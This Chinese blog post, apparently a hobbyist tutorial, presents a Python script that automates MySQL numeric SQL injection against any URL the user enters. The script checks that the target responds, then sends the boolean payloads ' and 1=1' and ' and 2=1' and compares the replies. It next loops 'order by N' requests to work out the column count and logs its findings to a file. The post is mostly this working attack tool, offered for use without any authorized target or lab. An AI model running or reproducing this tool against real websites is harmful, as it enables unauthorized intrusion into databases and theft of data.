mysql 数字注入_python打造一个Mysql数字类型注入脚本(1)

前言:

总是想写一个sql注入脚本,但是之前的那些都不行。

这次做好了准备,然后嘿嘿嘿。

准备:

sql注入的基础知识

熟悉怎么判断

正文:

思路概念图:

这里我没有限制用户输入,不限制的话可能会 @@*#&@* = =

d8806ef8f5f02c8a8143f28cadf21a64.png

代码:

import requests

from bs4 import BeautifulSoup

import time

import re

import sys

def user():

wailtfor=input('请输入你要进行sql注入测试的url:')

print('------开启第一重验证------')

url="{}".format(wailtfor)

headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}

request=requests.get(url=url,headers=headers,timeout=6)

if request.status_code != 200:

print('[-]抱歉该url十分的不稳定,退出程序中......')

time.sleep(1)

sys.exit()

else:

print('[+]第一重验证已经完成,目标是稳定的')

journal=open('journal.txt','w',encoding='utf-8')

journal.write('{}是稳定的\n'.format(url))

journal.write('下一步进行判断是否存在注入')

journal.close()

print('------开启第二重测试------')

def ceshi():

pay1 = '%20and%201=1'

pay2 = '%20and%202=1'

Testinjection1 = request.url + pay1

Testinjection2=request.url+pay2

print('-------尝试数字型注入------')

print(Testinjection1)

print(Testinjection2)

Testg=requests.get(Testinjection1,headers=headers)

print(Testg.headers)

Testg2=requests.get(Testinjection2,headers=headers)

print(Testg2.headers)

if Testg.text != Testg2.text:

print('[+]数字型注入成功,用到的payload:{},{}'.format(pay1, pay2))

journal2 = open('journal.txt', 'a')

journal2.write('数字型注入成功,用到的payload:{},{}'.format(pay1, pay2))

journal2.close()

print('------开始猜字段数------')

elif Testg.headers != Testg2.headers:

print('[+]数字型注入成功,用到的payload:{},{}'.format(pay1,pay2),'可能存在注入点')

journal2=open('journal.txt','a')

journal2.write('数字型注入成功,用到的payload:{},{}'.format(pay1,pay2))

journal2.close()

print('------开始猜字段数------')

else:

print('[-]数字型注入失败')

print('[!]尝试字符型注入')

sys.exit()

a='ooo'

for s in range(1,100):

if a=='xxx':break

orpay=url+'%20order%20by%20{}'.format(s)

res=requests.get(orpay,headers=headers)

ewe=res.content

lk=re.finditer('mysql_fetch_array()',str(ewe))

for p in lk:

print(str(p))

g='''<_sre.sre_match object span="(232," match="mysql_fetch_array">'''

if str(p) == g:

print('字段数payload:', res.url)

dw = int(res.url[-1:])-1

print(type(dw))

print('字段数长度为:', dw)

a='xxx'

else:

print('字段数payload:',res.url)

dw=int(res.url[-1:])-1

print('字段数长度为:',dw)

a='xxx'

ceshi()

user()

测试结果如下:

2dbf379db0321fcd15a83be1b82fb82a.png

24a3c00be69be6dbda6016ca36d2712c.png

代码还有很多不足,诺各位大佬有什么好的意见请多多留言。 = =

最后送上一首歌:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值